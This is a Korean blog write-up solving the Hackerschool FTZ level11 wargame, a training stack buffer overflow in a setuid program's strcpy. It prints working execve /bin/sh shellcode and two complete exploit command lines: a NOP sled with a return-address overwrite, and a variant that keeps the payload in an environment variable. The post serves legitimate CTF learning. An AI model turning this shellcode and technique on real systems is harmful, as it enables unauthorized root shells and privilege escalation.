level11

 

 문제 화면이다. uid를 설정하고 strcpy를 실행한다. strcpy buffer overflow 문제라 구글링하여 방법을 찾아 진행하였다.

 

 

 gdb로 살펴보면 str의 크기를 확인할 수 있다. sub $0x108, %esp에 해당되며 str의 크기는 0x108, 264byte이다. 또한 바로 아래에서 sub $0x8, %esp를 한 번 더 해주는데 이는 주소 값을 저장하기 위한 공간이다. 따라서 str 배열 256byte와 dummy 값 8byte, sfp 4byte, ret 주소 4byte로 총 272byte로 이루어져 있다.

* 원래 파일에서 gdb를 실행하면 에러가 나서 tmp 폴더에 복사해서 gdb를 실행했다. 

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 main+53에 bp를 걸고 프로그램을 실행시켰다. shell 코드는 25byte이므로 ret 4byte와 shell 코드 25byte를 포함해 272byte를 채우기 위해 NOP(\x90)으로 243byte를 채워줬다. 

 

 그리고 값을 확인해보면 위와 같이 채워진 것을 확인할 수 있다. 

 

 따라서 "\x90"*243+(shell 코드)+(ret 주소) 형식으로 값을 넘겨주면 쉘을 실행하여 문제를 해결할 수 있다. 하지만 ret 코드를 구하는데 어려움이 있어서 다른 사람의 라업을 보고 진행하였다. 

 

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x60\xd9\xff\xbf"'`

 

 쉘을 실행하여 my-pass 명령어를 입력하면 패스워드를 구할 수 있다. 

 

 it is like this

 

 

+

 

참고 사이트: https://choraengyi.tistory.com/51

 

export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 환경 변수로 쉘 실행 코드를 작성한다. export|grep (환경변수 이름)으로 확인할 수 있다. 

 

 생성한 환경 변수의 주소 값을 찾는 프로그램을 작성하여 주소 값을 확인한다. 

 

 임의의 값 268byte+확인한 환경변수 주소값을 입력하면 쉘이 실행된다. 위의 방식으로 하면 ret 주소가 계속 변경되어서 계속 시도해야 한다고 했는데, 이 방법으로는 정상적으로 해결되었다. 

 

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level13  (0) 2020.09.22
해커스쿨 FTZ level12  (0) 2020.09.17
해커스쿨 FTZ level10  (0) 2020.08.27
해커스쿨 FTZ level9  (0) 2020.08.27
해커스쿨 FTZ level8  (0) 2020.08.22